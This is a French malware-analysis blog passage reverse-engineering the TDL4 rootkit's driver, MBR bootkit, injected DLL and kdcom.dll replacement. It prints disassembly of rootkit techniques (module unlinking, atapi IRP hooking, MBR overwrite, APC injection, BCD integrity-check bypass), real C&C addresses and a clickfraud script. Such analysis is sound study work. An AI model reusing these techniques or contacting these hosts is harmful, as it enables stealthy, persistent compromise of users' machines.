Surement pour que son File System ne soit pas mis en l'air ( je trouve ca presque dommage car depuis le début je suis épaté par la puissance du truc ).
Bon on arrive à la fin de la sub, mais y'a une subtilité que j'ai esquivé au moindre fail d'une api, il va contacter un C&C :
http://95.143.193.138/xxxx_2/
A l'aide des apis suivantes : Où il va en fait envoyer comme information le GetSystemTimeAsFileTime, et les diffèrentes informations récupérées par GetVersionEx().
8027833fd6|||2|0|5.1 2600 SP3.0|prn3
Il base64 la truc et le send :
ODAyNzgzM2ZkNnx8fDJ8MHw1LjEgMjYwMCBTUDMuMHxwcm4z



TDL4 Driver32

Introduction

Nous avoncons plutôt bien dans l'analyse de tout ça ( à mon goût ), nous descendons de plus en plus dans les entrailles du problème, et nous arrivons dans un terrain que je n'ai auparavant jamais exploré : le reverse d'un driver.
Ce driver est load par la dll que nous venons d'analyser, c'est donc maitenant à son tour de passer au fourneau.

drv32.sys

Ici je me suis rendu compte qu'écrire un unpacker était loin d'être une énorme bêtise, mais plutôt un avantage.
Car la première chose que va faire le driver est d'utiliser ExAllocatePool(), avec comme POOL_TYPE : NonPagedPool, et une size de 0x16800.
Et les sub qui suivent ressemblent exactement au packer que nous avons étudié dans le premier billet ( je vous invite à le regarder si ce n'est pas déjà fait ), pour ma part je réutilise mon unpacker afin de pouvoir travailler tranquilement avec IDA sur la version unpack du driver.
Le truc fun c'est un DbgPrint() qui traine juste avant d'aller sur l'OEP :
.text:10001325                 mov     eax, ds:DbgPrint
.text:1000132B                 call    eax ; DbgPrint
.text:1000132D                 mov     ebx, [ebx+28h]
.text:10001330                 pop     ecx
.text:10001331                 pop     ecx
.text:10001332                 push    [ebp+RegistryPath]
.text:10001335                 add     ebx, esi
.text:10001337                 push    edi
.text:10001338                 call    ebx             ; Call EntryPoint :]
Le DbgPrint est ici pour printer les 2 premiers octets du pe extract aka 'MZ' ( debug mode : ON ? ).
Bien commencon l'étude du driver unpack.

Driver unpack

La première chose qu'il va faire et se supprimer de la liste des modules chargés.
.text:100032C6                 mov     ecx, [eax]      ; nt!PsLoadedModule
.text:100032C8                 mov     eax, [eax+4]
.text:100032CB                 push    [esp+4+RegistryPath]
.text:100032CF                 mov     [eax], ecx
.text:100032D1                 push    esi
.text:100032D2                 mov     [ecx+4], eax
Sachant que le type de PsLoadedModule est une liste doublement chainê ( avec des ptr de type _LDR_DATA_TABLE_ENTRY ) :
kd> dt nt!_LIST_ENTRY
   +0x000 Flink            : Ptr32 _LIST_ENTRY
   +0x004 Blink            : Ptr32 _LIST_ENTRY
Continous sur la sub suivante et voyons ce qu'elle fait : Le type du pointeur sera un PFILE_OBJECT :
kd> dt nt!_FILE_OBJECT
   +0x000 Type             : Int2B
   +0x002 Size             : Int2B
   +0x004 DeviceObject     : Ptr32 _DEVICE_OBJECT
   +0x008 Vpb              : Ptr32 _VPB
   +0x00c FsContext        : Ptr32 Void
   +0x010 FsContext2       : Ptr32 Void
   +0x014 SectionObjectPointer : Ptr32 _SECTION_OBJECT_POINTERS
   +0x018 PrivateCacheMap  : Ptr32 Void
   +0x01c FinalStatus      : Int4B
   +0x020 RelatedFileObject : Ptr32 _FILE_OBJECT
   +0x024 LockOperation    : UChar
   +0x025 DeletePending    : UChar
   +0x026 ReadAccess       : UChar
   +0x027 WriteAccess      : UChar
   +0x028 DeleteAccess     : UChar
   +0x029 SharedRead       : UChar
   +0x02a SharedWrite      : UChar
   +0x02b SharedDelete     : UChar
   +0x02c Flags            : Uint4B
   +0x030 FileName         : _UNICODE_STRING
   +0x038 CurrentByteOffset : _LARGE_INTEGER
   +0x040 Waiters          : Uint4B
   +0x044 Busy             : Uint4B
   +0x048 LastLock         : Ptr32 Void
   +0x04c Lock             : _KEVENT
   +0x05c Event            : _KEVENT
   +0x06c CompletionContext : Ptr32 _IO_COMPLETION_CONTEXT
On le voit récupérer le champ DeviceObject, puis le champ DeviceObjectExtension de cette même structure, puis le champ AttachedTo, et le sauvegarde sur un argument de sa pile ( si ce n'est pas clair regardez les structure _DRIVER_OBJECT et _DEVICE_OBJECT ).
.text:10002204                 mov     ecx, [ebp+Object] ; Object
.text:10002207                 mov     eax, [ecx+4]    ; ->DeviceObject
.text:1000220A                 mov     eax, [eax+0B0h] ; ->DeviceObjectExtension
.text:10002210                 mov     eax, [eax+18h]  ; ->AttachedTo
.text:10002213                 mov     edx, [ebp+AttachedTo]
Ce qui est intéressant de remarquer c'est que le DEVICE_OBJECT qu'il récupère est celui du driver "\Driver\atapi".
ATAPI : ATA with Packet Interface, est une extension de l'ATA qui étend ce standard de communication à des périphériques différents des disques durs, comme les CD-ROM, les lecteurs de disquette …
En pratique, il permet de faire passer des commandes SCSI ( ça nous parle :] )sur la couche physique de l'ATA.
Il supprimera ensuite la référence avec ObfDereferenceObject(), et fermera les handles avec ZwClose().
Il appelera ensuite ObQueryNameString(), sur le driver_oject atapi, afin de récupérer son nom (par exemple : "\Device\Ide\IdeDeviceP0T0L0-4").
Il récupèrera à l'aide de la requête SCSI Read_Capacity_Command ( 0x25 ), le nombre de secteur du disque, après avoir bien sûr ouvert un handle dessus.
Il va ensuite préparer 2 buffers de 512 ( 0x200 ) octets, dont un ( buff_1 ) sera rempli de 0x2A, et l'autre ( buff_2 ) de 0, il va ensuite écrire le buff_1 sur le dernier secteur, puis read en récupérant le résultat dans buff_2 et va les comparer, la seule déduction que j'ai qu'il fasse celà est qu'il a l'air de tester si l'écriture se passe correctement, ou si le nombre maximum de secteurs est bien correct.
Ensuite nous pouvons le voir récupérer le mbr infecté dans sa section .data, qu'il va decrypt avec l'algorithme RC4 et comme clef 0, il viendra écraser les 0x15C premiers octets du mbr original, par le sien, et ira l'écrire sur le premier secteur ( 0 ) du disque.

On le voit ensuite sauvegarder les 10 premier octets de la fonction atapi!IdePortDispatch :
ba5fa852 8bff            mov     edi,edi
ba5fa854 55              push    ebp
ba5fa855 8bec            mov     ebp,esp
ba5fa857 51              push    ecx
ba5fa858 51              push    ecx
ba5fa859 8b450c          mov     eax,dword ptr [ebp+0Ch]
Ça pue le hook à plein nez....
Mais d'abord on le voit apeler RtlRandom() avec comme Seed un dword qu'il va chercher en ds:[FFDF0014h].
Il apelera ensuite une api non documented, IoCreateDriver() afin de créer un driver qui aura pour but d'exec une sub qui :
Object= dword ptr  4

push    esi
mov     esi, [esp+4+Object]
push    edi
mov     ecx, esi        ; Object
call    ds:ObfReferenceObject
push    esi
call    ds:ObMakeTemporaryObject
xor     eax, eax
mov     [esi], ax
mov     eax, DEVICE_DriverObject
mov     eax, [eax+30h]  ; ->IdePortStartIo
mov     [esi+30h], eax
mov     eax, DEVICE_DriverObject
mov     eax, [eax+0Ch]  ; ->DriverStart
mov     [esi+0Ch], eax
mov     eax, DEVICE_DriverObject
mov     eax, [eax+10h]  ; ->DriverSize
mov     [esi+10h], eax
mov     eax, DEVICE_DriverObject
mov     eax, [eax+14h]  ; ->DriverSection
mov     [esi+14h], eax
mov     eax, DEVICE_DriverObject
mov     eax, [eax+2Ch]  ; ->DriverInit
mov     [esi+2Ch], eax
mov     eax, DEVICE_DriverObject
mov     eax, [eax+34h]  ; ->DriverUnload
mov     [esi+34h], eax
mov     eax, DEVICE_DriverObject
mov     ax, [eax+1Ch]   ; ->DriverName->Length
mov     [esi+1Ch], ax
mov     eax, DEVICE_DriverObject
mov     ax, [eax+1Eh]   ; ->DriverName->MaximumLength
mov     [esi+1Eh], ax
mov     eax, DEVICE_DriverObject
mov     eax, [eax+20h]  ; ->DriverName->Buffer
mov     [esi+20h], eax
mov     eax, DEVICE_DriverObject
mov     eax, [eax+18h]  ; ->DriverExtension
mov     [esi+18h], eax
mov     eax, DEVICE_DriverObject
mov     eax, [eax+24h]  ; ->HardwareDatabase
mov     [esi+24h], eax
push    1Ch
pop     ecx
lea     edi, [esi+38h]
mov     eax, offset hook_major_func
mov     DriverObject, esi
rep stosd
pop     edi
xor     eax, eax
pop     esi
retn    8
Regardez la structure DRIVER_OBJECT avec votre ami WinDbg, si vous ne comprennez pas le code.
Reprenons le fil d'éxécution de notre driver, tout ceci est suivi d'un appel à ObReferenceObjectByName(), avec comme string unicode "\driver\pnpmanager", afin de récupérer un ptr sur l'object.
Il fera de nouveau un appel à RtlRandom(), afin de générer un nom de device aléatoire, qu'il créera avec IoCreateDevice() ( device name : "\device\<first_random_number>" ), avec comme argument DriverObject l'object qu'il vient de récupérer, et comme type FILE_DEVICE_CONTROLLER ( 0x4 ).
Bon la par contre j'ai pas compris porquoi il fait ça mais il va refaire la meme operation mais en donnant au device un nom de la forme "\device\<second_random_number>\<first_random_number>", mais comme type FILE_DEVICE_UNKNOWN, ansi que comme driver_object celui de atapi avec la table d'irp hooked.
Il va ensuite faire appel à une sub qui va prendre en paramètre le driver_oject de pnpmanager, et le premier device_object qu'il s'est créé :

Il mettre à jour le pointeur ( VPB ) à l'offset 0x24.
Il va appeler l'api KeInitializeEvent() avec comme argument un ptr sur un objet KEVENT, de type SynchronizationEvent, et un ètat FALSE.
typedef enum _EVENT_TYPE 
{ 
    NotificationEvent, 
    SynchronizationEvent 
} EVENT_TYPE;
Il viendra ensuite écrire par le biais du device qu'il a créé "\device\<second_random_number>\<first_random_number>", le fichier cfg.ini "\device\000001a9\62389c1d\cfg.ini".
Ce qui est intéressant de remarquer c'est que par rapport à la DLL, on peut voir des choses intéressantes passer, comme la version actuelle de TDL4 :
push    offset a0_03    ; "0.03"
push    offset aVersion ; "version"
push    offset aMain    ; "main"
Mais qui dit appel à des CreateFile(), WriteFile(), dit appel aux fonctions qui sont dans la table IRP du device ( qui sont hookées, vous me suivez ? :] ).
Je ne vais pas rentrer dans les détails de la sub qui fait office du hook des irp, d'une part de sa compléxité ( quoi que :-] ), mais surtout car ca ne sert juste à rien, ce qu'ilfaut retenir c'est que ce dispatcher est juste là pour mettre à jour son filesystem ( mettre à jour le root_file, etc ... ).
La suite devient fun, on peut voir un appel à PsSetLoadImageNotifyRoutine(), ce qu'il lui permet de mettre une fonction callback pour qu'à chaque fois qu'une image est chargé cette fonction soit apellé, nous l'apelerons NotifyRoutine et nous l'étudierons plus loin.
Après c'est au tour de l'api ExQueueWorkItem(), avec comme WorkerRoutine, une sub que nous apelerons WorkerSub, que nous étudierons plus loin aussi.
kd> dt nt!_WORK_QUEUE_ITEM
   +0x000 List             : _LIST_ENTRY
   +0x008 WorkerRoutine    : Ptr32     void 
   +0x00c Parameter        : Ptr32 Void
Nous sommes casi à la fin de l'analyse du driver, la dernière chose qu'il met en place est un lien symbolique entre "\fsdev" et le device "\device\<second_random_number>\<first_random_number>", à l'aide de l'api ZwCreateSymbolicLinkObject(), ce lien symbolique sert à la DLL injecté dans le process "svpool.exe", d'envoyer direct des requêtes sur le driver atapi dont la table irp a été hooké.

WorkerSub

Le premier travail de cette sub est de changer les options de boot, en tapant dans la clef de registre :
\registry\machine\system\currentcontrolset\control\systemstartoptions
En lui restorant la valeur : "/MININT", car la partie b00tkit l'avait changé, il fait ça de sorte à ce que rien ne paraisse louche.
Une protection de plus est le fait, qu'il va sans cesse regarder si son mbr est toujours bien présent, si non il le récrit, oui car la WorkerSub, est un code qui va tourner indéfiniment.
La suite est un appel à ZwQuerySystemInformation(), avec comme paramètre SystemInformationClass = SystemProcessInformation ( 0x5 ), ce qui lui permettra de lister tous les processus.
Il va se balader dans la liste des process et chercher "svchost.exe" en usant RtlEqualUnicodeString().
Une fois le process trouvé, il récupère son ID, et va récupérer un ptr sur la structure EPROCESS avec PsLookupProcessByProcessId().
Il attachera son thread avecKeStackAttachProcess().
kd> dt nt!_KAPC_STATE 
   +0x000 ApcListHead      : [2] _LIST_ENTRY
   +0x010 Process          : Ptr32 _KPROCESS
   +0x014 KernelApcInProgress : UChar
   +0x015 KernelApcPending : UChar
   +0x016 UserApcPending   : UChar
Maitenant c'est au tour de l'api ZwQueryInformationProcess(), avec comme argument ProcessInformationClass = ProcessBasicInformation ( 0x0 ), afin de récupérer un pointeur sur le PEB ( Process Environment Block ).
Après c'est le train train habituel, on va se balader sur la liste des modules chargés et chercher "kernel32.dll" :
.text:10002999                 mov     eax, [ebp+var_7C] ; _PEB
.text:1000299C                 mov     eax, [eax+0Ch]  ; Ldr
.text:1000299F                 cmp     eax, ebx
.text:100029A1                 jz      loc_10002A69
.text:100029A7                 lea     edi, [eax+0Ch]  ; InLoadOrderModuleList
.text:100029AA                 mov     esi, edi
.text:100029AC                 cmp     edi, ebx
.text:100029AE                 jz      loc_10002A69
.text:100029B4
.text:100029B4 loc_100029B4:                           ; CODE XREF: change_boot_and_inject+28Bj
.text:100029B4                                         ; change_boot_and_inject+29Fj
.text:100029B4                 mov     esi, [esi]
.text:100029B6                 cmp     edi, esi
.text:100029B8                 jz      loc_10002A69
.text:100029BE                 cmp     esi, ebx
.text:100029C0                 jz      loc_10002A69
.text:100029C6
.text:100029C6 test_is_dll_charac:
.text:100029C6                 test    byte ptr [esi+34h], 4
.text:100029CA                 jz      short loc_100029B4
.text:100029CC
.text:100029CC Look_for_kernel32:                      ; CaseInSensitive
.text:100029CC                 push    1
.text:100029CE                 lea     eax, [ebp+name_kernel32dll]
.text:100029D1                 push    eax             ; String2
.text:100029D2                 lea     eax, [esi+2Ch]
.text:100029D5                 push    eax             ; String1
.text:100029D6                 call    ds:RtlEqualUnicodeString
.text:100029DC                 test    al, al
.text:100029DE                 jz      short loc_100029B4
Une fois "kernel32.dll" trouvé, il va chercher les offset des apis suivantes :
Une fois ces offsets récupérés, il va faire appel à PsLookupThreadByThreadId(), pour récupérer un pointeur la structure ETHREAD, ce qui lui permettra d'injecter du code à l'aide des ménamismes des APC, par l'appel à l'api KeInitializeApc() et KeInsertQueueApc().
Regardons donc ce que fait le code injecté :
Cette méthode en question va utiliser une technique déjà bien connu, pour injecter la dll ( inject.dll (32bits), ou inject64.dll (64bits) ) à l'aide entre autre de ZwMapViewOfSection(), je vous laisse google pour comprendre comment marche cette injection ( au pire j'écrirai un post et code d'exemple que je posterai sur mon blog ).
Nous étudierons bien sûr cette DLL plus tard.

NotifyRoutine

Bien nous sommes dans la dernière ligne droite de l'analyse du driver.
La méthode NotifyRoutine, est apellé à chaque fois qu'une image est chargé, si le nom de l'image est "kernel32.dll", alors il va récupérer les adresse des 3 apis cités plus haut, et va venir comme expliqué précédemment.
Nous arrivons donc à la fin de l'analyse du rootkit, en espérant n'avoir pas été trop flou, n'étant pas un as en reverse, et connaissant très mal encore Windows Internal, ce n'était pas de la tarte tout ça.
Mais cela m'a permis d'apprendre un maximum de choses est c'était le but.


b00tkit part

Introduction

Maitenant qu'il a tout mis en place, et que le NtRaiseHardError, nous a fait BSOD.
On reboot, mais le bootloader a été modifié, nous allons donc étudier son comportement.

May the ror be with you

Après avoir récupérer le mbr ( si vous ne savez pas comment faire, regardez comme j'ai fait pour l'article sur le mbrlocker que j'avais reverse ), et qu'on l'ouvre avec IDA, le début du disas est correct mais devient vite n'importe quoi ensuite.
loc_0:                                  ; CODE XREF: seg000:0071J
seg000:0000                 xor     ax, ax
seg000:0002                 mov     ss, ax
seg000:0004                 mov     sp, 7C00h
seg000:0007                 mov     es, ax
seg000:0009                 mov     ds, ax          ; CODE XREF: seg000:0060j
seg000:000B                 mov     si, 7C00h
seg000:000E                 mov     di, 600h
seg000:0011                 mov     cx, 200h
seg000:0014                 cld
seg000:0015                 rep movsb
seg000:0017                 push    ax
seg000:0018                 push    61Ch
seg000:001B                 retf
seg000:001C ; ---------------------------------------------------------------------------
seg000:001C                 sti
seg000:001D                 pusha
seg000:001E                 mov     cx, 147h
seg000:0021                 mov     bp, 62Ah
seg000:0024
seg000:0024 loc_24:                                 ; CODE XREF: seg000:0028j
seg000:0024                 ror     byte ptr [bp+0], cl
seg000:0027                 inc     bp
seg000:0028                 loop    loc_24
Le début du code est simple, on le voit se recopier à l'offset 0x6000, puis sautera à l'offset 0x61C de ce qu'il vient de récopier, et on le voit effectuer un ror sur 0x147 octets, cqfd le code est en train de se décrypter.
J'ai écrit ici pour changer de mes habitudes un code en python afin de le décrypter automatiquement :
# Simply rotate right function
def rotate_right(number, n):
        for i in range(n):
                right_bit = number & 0b00000001
                number = number >> 1
                if (right_bit == 1):
                        number = number | 0b10000000
        return number
        
# Mbr file to decrypt 
mbr_file = open("mbr_tdl4", "rb")

# Output mbr file decrypted
mbr_decrypt = open("mbr_tdl4_decrypt", "wb")

# Size to decrypt
cx = 0x147

# 0x2A Start offset
bp = 0x62A - 0x600      

# Read and write first part of mbr wich
# is not crypted
buf = mbr_file.read(bp)
mbr_decrypt.write(buf)

# Decrypt part of the mbr with ror function
while(cx):
	buf = mbr_file.read(1)
	buf = rotate_right(ord(buf), cx & 0xff)
	cx -= 1
	mbr_decrypt.write(chr(buf))
	
# Write the end of mbr ( Sizeof(MBR) - (Sizeof(MBR) - Size to decrypt))
mbr_decrypt.write(mbr_file.read(512 - (512 - 0x147)))

# Close is cool
mbr_decrypt.close()
mbr_file.close()
Nous sommes maitenant en mesure de travailler avec un disas correct.
La première chose qu'il va faire, est d'utiliser l'interruption BIOS 0x13, em mettant dans AH 0x48 afin d'apeller la fonction Read Drive Parameters, il s'en sert afin de récupérer le nombre de secteurs du disque.
Il va ensuite appeler une sub qui aura pour objectif de scanner en partant de la fin du disque chaque secteur, en les décryptant en utilisant l'agorithme RC4 avec comme clef le numéro du secteur actuel, et regardera si la signature du block décrypté est 'CD' ( qui est la signature de la racine de son FileSystem ).
Une fois qu'il a son fichier de configuration, il est en mesure de savoir où ce situe, chacun des fichiers dont il a besoin, et la prochaine étape et la recopie du fichier ldr16 ( après l'avoir decrypt avec rc4 et comme clef le numéro du secteur ), à l'offset 0, puis sautera dessus.
seg000:0070                 popa
seg000:0071                 jmp     far ptr loc_0
Ce fichier fait office de stage2 dans la phase de boot.

Stage 1 clear ! Move to Stage 2

La chose importante à remarquer est l'installation d'un handler sur l'interruption 0x13 du bios ( afin d'avoir la main à chaque fois que cette interruption sera apelé durant la chaîne de boot ) :
seg000:0034                 mov     word ptr es:[di+4Ch], offset int13_handler
seg000:003A                 mov     word ptr es:[di+4Eh], cs
seg000:003E                 mov     di, 7C00h
seg000:0041                 mov     si, 450h
seg000:0044                 mov     cx, 4
seg000:0047                 call    get_mbr
seg000:004A                 popa
seg000:004B
seg000:004B loc_4B:                                 ; DATA XREF: seg000:001Fr
seg000:004B                                         ; seg000:0023r
seg000:004B                 jmp     far ptr 0:7C00h
Après l'installation de son handler de int13, il recopie le mbr original et va lui donner la main.
Son handler de int13 va tester si la fonction demandé ( registre AH ) est 0x2 ( Read Sectors From Drive ) ou 0x42 ( Read Sectors From Drive ).
Une des parties intéressantes est la suivante :
check_is_kdcom:                         ; CODE XREF: seg000:013Dj
seg000:0149                                         ; seg000:0145j
seg000:0149                 cmp     word ptr es:[bx], 'ZM'
seg000:014E                 jnz     loc_24E
seg000:0152                 mov     di, es:[bx+3Ch]
seg000:0156                 cmp     word ptr es:[bx+di], 'EP'
seg000:015B                 jnz     loc_24E
seg000:015F                 cmp     word ptr es:[bx+di+18h], 10Bh ; IMAGE_NT_HEADER->Optional_Header.Magic == IMAGE_NT_OPTIONAL_HDR32_MAGI
seg000:0165                 jnz     short is_64bits_dll ; Export size
seg000:0167                 cmp     dword ptr es:[bx+di+7Ch], 0FAh ; '·' ; Export size
seg000:0170                 jnz     loc_24E
seg000:0174                 mov     si, 454h
seg000:0177                 mov     cx, 6
seg000:017A                 jmp     short loc_190
seg000:017C ; ---------------------------------------------------------------------------
seg000:017C
seg000:017C is_64bits_dll:                          ; CODE XREF: seg000:0165j
seg000:017C                 cmp     dword ptr es:[bx+di+8Ch], 0FAh ; '·' ; Export size
seg000:0186                 jnz     loc_24E
On le voit clairement checker si le fichier lu depuis le disque est un fichier PE, et si c'est un binaire 32 ou 64 bits.
Il testera ensuite que la taille des exports est 0xFA, qui est une taille propre à kdcom.dll ( dll permettant le débugage à traverser l'interface série ).

Ce qui lui permettra de remplacer l'original par la sienne qui est etudié plus loin dans l'article ( "ldr32" ) et son rôle dans la chaîne de boot.
Pour mieux comprendre la suite des événements voici un schéma de la chaîne de boot ( pour des systèmes supérieurs à Windows XP ) :

Il faut savoir une chose en plus c'est que la fonction KiSystemStartup() est la premièere fonction qui va être apelé dans ntoskrnl.exe, et la fonction KdDebuggerInitialize1() exportés par kdcom.dll sera ensuite apelé ( Le but de cette fonction est décrit dans l'article "ldr16" ).
TDL4 dans son bootkit va abuser des options du BCD, afin de désactiver les checks d'intégrité du kernel fait à l'intérieur de winload.exe.
loc_256:                                ; CODE XREF: seg000:02AFj
seg000:0256                 cmp     dword ptr es:[bx], '0061'
seg000:025E                 jnz     short loc_27C
seg000:0260                 cmp     dword ptr es:[bx+4], '0200' ; BcdLibraryBoolean_EmsEnabled ( bootems ) 0x16000020
seg000:0269                 jnz     short loc_27C
seg000:026B                 mov     dword ptr es:[bx], '0062'
seg000:0273                 mov     dword ptr es:[bx+4], '2200' ; BcdOSLoaderBoolean_WinPEMode  (winpe) 0x26000022
J'ai fait des stats sur du Windows Seven ( SP0, SP1, Entreprise, Profesional ), et la clef BcdLibraryBoolean_EmsEnabled est toujours présente, ce qu'il fait qu'il pourra tojours l'échanger avec le WinPE_mode.
Cette option dit à winload.exe que le système est en phase de pré-installation, ce qui fait sauter le check d'intégrité du kernel.
Mais il ne s'arrête pas là, car il va même changer une option passé ( comme une option sur la ligne de commande ) à ntoskrnl :
loc_29A:                                ; CODE XREF: seg000:0284j
seg000:029A                                         ; seg000:028Fj
seg000:029A                 cmp     dword ptr es:[bx], 'NIM/'
seg000:02A2                 jnz     short loc_2AC
seg000:02A4                 mov     dword ptr es:[bx], 'M/NI'
De ce fait Winload.exe par les options BCD croit qu'il est en mode de pré-installation, alors que ntoskrnl.exe lui se charge normalement ( du fait d'avoir changé l'option "/MININIT" en "IN/MINT" ).
La dll a été remplacé, ntoskrnl se charge mais pourtant tout va mal :].
Pour la suite des évènements, il faut allé voir l'article "ldr32".



TDL4 injected DLL

Ici la dll (32 bits) injecté est packed avec UPX, on se prend pas la tête et on unpack avec un petit "upx -d".
Les premières api qu'elle va apeller sont GetModuleFileNameA(), PathFindFileNameA(), et elle va regarder si elle se trouve dans "svchosts.exe", et que "netsvcs" est présent sur la ligne de commande.
Si c'est le cas, alors on crée un mutex avec comme nom "Global\9e6af8f3-75f3-4b67-877a-c80125d7bc0".
Sinon il testera si il fait parti des process suivants avec l'api PathMatchSpecA() :
Je n'ai pas prêté beaucoup d'attention à ce module, mais on peut voir des choses amusantes comme le fait de pouvoir recevoir des commandes depuis un C&C.
Le graphe du dispatcher qui est bien flagrant :

Les commandes apparament disponibles sont les suivantes : Le fait aussi de pouvoir faire du clicking :
<html>
<head>
<script type=\"text/javascript\">
function f()
{
var url=\"%s\";
try
{
var x=document.getElementById(\"_a\");
x.href=url;x.click()
}
catch(e)
{
try
{
var x=document.getElementById(\"_f\");
x.action=url;
x.submit()
}
catch(e){}
}
}
</script>
</head>
<body onload=\"f()\">
<a id=\"_a\"></a>
<form id=\"_f\" method=\"get\"></form>
</body>
</html>
Ansi qu'injecter du code :
<html>
<body onload="javascript:history.back()">
</body>
</html>
Une liste exaustive d'une panoplie de moteur de recherche, pour récupérer des stats sur les mots-clefs tapés dans ces moteurs de recherche ( je suppose ) :
.rdata:100087B8 aGoogleYahooBin db 'google;yahoo;bing.;live.com;msn.com;altavista.com;ask.com;exalead'
.rdata:100087B8                 db '.com;excite.com;dogpile.com;metacrawler.com;webcrawler.com;allthe'
.rdata:100087B8                 db 'web.com;.lycos.;gigablast.com;cuil.com;.aol.;entireweb.com;.searc'
.rdata:100087B8                 db 'h.com;mamma.com;mytalkingbuddy.com;about.com;myspace.com;answers.'
.rdata:100087B8                 db 'com;conduit.com;alexa.com;alltheinternet.com;blinkx.com;macromedi'
.rdata:100087B8                 db 'a.com;adobe.com;amazon.com;facebook.com;youtube.com;wikipedia.org'
.rdata:100087B8                 db ';wikimedia.org;twitter.com;aolcdn.com;othersonline.com;everesttec'
.rdata:100087B8                 db 'h.net;adrevolver.com;tribalfusion.com;adbureau.net;abmr.net;gstat'
.rdata:100087B8                 db 'ic.com;virtualearth.net;atdmt.com;ivwbox.;powerset.net;yimg.com;2'
.rdata:100087B8                 db 'mdn.net;doubleclick.net;iwon.com;scorecardresearch.com;66.235.120'
.rdata:100087B8                 db '.66;66.235.120.67;ytimg.com;infospace.com;edgesuite.net;superpage'
.rdata:100087B8                 db 's.com;lygo.com;compete.com;firmserve.com;worthathousandwords.com;'
.rdata:100087B8                 db 'yieldmanager.com;wazizu.com;meedea.com;atwola.com;doubleverify.co'
.rdata:100087B8                 db 'm;tacoda.net;truveo.com;openx.org;adcertising.com;twimg.com;picse'
.rdata:100087B8                 db 'arch.com;oneriot.com;.com.com;flickr.com;searchvideo.com;.tqn.com'
.rdata:100087B8                 db ';myspacecdn.com;fimservecdn.com;alexametrics.com',0
La possibilité aussi de changer les settings d'internet explorer :
.rdata:10008358 pszSubKey       db 'software\microsoft\internet explorer\main\featurecontrol\FEATURE_'
.rdata:10008358                                         ; DATA XREF: sub_10001CB4+2Eo
.rdata:10008358                 db 'BROWSER_EMULATION',0
.rdata:100083AB                 align 4
.rdata:100083AC ; char pszValue[]
.rdata:100083AC pszValue        db 'maxhttpredirects',0 ; DATA XREF: sub_10001CB4+41o
.rdata:100083BD                 align 10h
.rdata:100083C0 ; char aSoftwareMicr_0[]
.rdata:100083C0 aSoftwareMicr_0 db 'software\microsoft\windows\currentversion\internet settings',0
Et pour finir une panoplie de C&C :
.rdata:10008E50 aHttps68b6b6b6_ db 'https://68b6b6b6.com/;https://61.61.20.132/;https://34jh7alm94.as'
.rdata:10008E50                                         ; DATA XREF: sub_10003B24+D2o
.rdata:10008E50                 db 'ia/;https://61.61.20.135/;https://nyewrika.in/;https://rukkieanno'
.rdata:10008E50                 db '.in/',0
.rdata:10008ED7                 align 4
.rdata:10008ED8 ; char aWsrv[]
.rdata:10008ED8 aWsrv           db 'wsrv',0             ; DATA XREF: sub_10003C2D+79o
.rdata:10008EDD                 align 10h
.rdata:10008EE0 aHttpRudolfdisn db 'http://rudolfdisney.com/;http://crozybanner.com/;http://imagemons'
.rdata:10008EE0                                         ; DATA XREF: sub_10003C2D+D2o
.rdata:10008EE0                 db 'tar.com/;http://funimgpixson.com/;http://bunnylandisney.com/',0
.rdata:10008F5E                 align 10h
.rdata:10008F60 ; char aPsrv[]
.rdata:10008F60 aPsrv           db 'psrv',0             ; DATA XREF: sub_10003D35+79o
.rdata:10008F65                 align 4
.rdata:10008F68 aHttpCri71ki813 db 'http://cri71ki813ck.com/',0
L'analyse de ce module n'ira pas plus loin, c'est pas vraiment ce qui m'intéresse et de plus étant donné que les C&C sont down, pas facile de comprendre comment se passe les communications.

ldr32

Introduction

Ldr32 est en fait la dll qui va remplacer celle du sytème à savoir kdcom.dll qui est une dépendance de ntoskrnl.exe, et qui permet de debugger à travers l'interface série.

Diff

Les différences sont plutôts flagrantes, déjà la taille du fichier n'est pas du tout la même : Et le code des fonctions exportés est complètement n'importe quoi :

KdD0Transition

.text:1000172F KdD0Transition  proc near               ; DATA XREF: .text:off_10001058o
.text:1000172F                 mov     byte_10001800, 1
.text:10001736                 xor     eax, eax
.text:10001738                 retn
.text:10001738 KdD0Transition  endp

KdD3Transition

.text:10001739 KdD3Transition  proc near               ; DATA XREF: .text:off_10001058o
.text:10001739                 mov     byte_10001800, 2
.text:10001740                 xor     eax, eax
.text:10001742                 retn
.text:10001742 KdD3Transition  endp

KdDebuggerInitialize0

.text:100017B5 KdDebuggerInitialize0 proc near         ; DATA XREF: .text:off_10001058o
.text:100017B5                 mov     byte_10001800, 3
.text:100017BC                 xor     eax, eax
.text:100017BE                 retn    4
.text:100017BE KdDebuggerInitialize0 endp

KdDebuggerInitialize1

A part cette export qui n'est pas n'importe quoi, auquel nous allons jeter un coup d'oeil.
.text:100017C1 KdDebuggerInitialize1 proc near         ; DATA XREF: .text:off_10001058o
.text:100017C1                 push    offset NotifyRoutine ; NotifyRoutine
.text:100017C6                 call    PsSetCreateThreadNotifyRoutine
.text:100017CC                 retn    4
.text:100017CC KdDebuggerInitialize1 endp
L'api PsSetCreateThreadNotifyRoutine() va lui permettre de mettre une fonction de callback ( sub NotifyRoutine ), à chaques fois qu'un thread est créé.
La fonction NotifyRoutine, va d'abord tester si elle a déjà été éxécuté ou non, si non, elle va apeller toujours la même api non documented IoCreateDriver() avec comme fonction d'initialisation la sub_10001743.
.text:1000178F NotifyRoutine   proc near               ; DATA XREF: CallbackRoutine+1E6o
.text:1000178F                                         ; KdDebuggerInitialize1o
.text:1000178F                 cmp     dword_10001808, 0
.text:10001796                 jnz     short locret_100017B2
.text:10001798                 push    offset sub_10001743
.text:1000179D                 push    0
.text:1000179F                 call    IoCreateDriver
.text:100017A5                 xor     ecx, ecx
.text:100017A7                 test    eax, eax
.text:100017A9                 setns   cl
.text:100017AC                 mov     dword_10001808, ecx
.text:100017B2
.text:100017B2 locret_100017B2:                        ; CODE XREF: NotifyRoutine+7j
.text:100017B2                 retn    0Ch
.text:100017B2 NotifyRoutine   endp
La routine du driver en question apellera l'api IoRegisterPlugPlayNotification() avec les paramètres :
.text:10001743 sub_10001743    proc near               ; DATA XREF: NotifyRoutine+9o
.text:10001743
.text:10001743 EventCategoryData= dword ptr -10h
.text:10001743 var_C           = word ptr -0Ch
.text:10001743 var_A           = dword ptr -0Ah
.text:10001743 var_6           = dword ptr -6
.text:10001743 var_2           = word ptr -2
.text:10001743 Context         = dword ptr  8
.text:10001743
.text:10001743                 push    ebp
.text:10001744                 mov     ebp, esp
.text:10001746                 sub     esp, 10h
.text:10001749                 push    offset NotificationEntry ; NotificationEntry
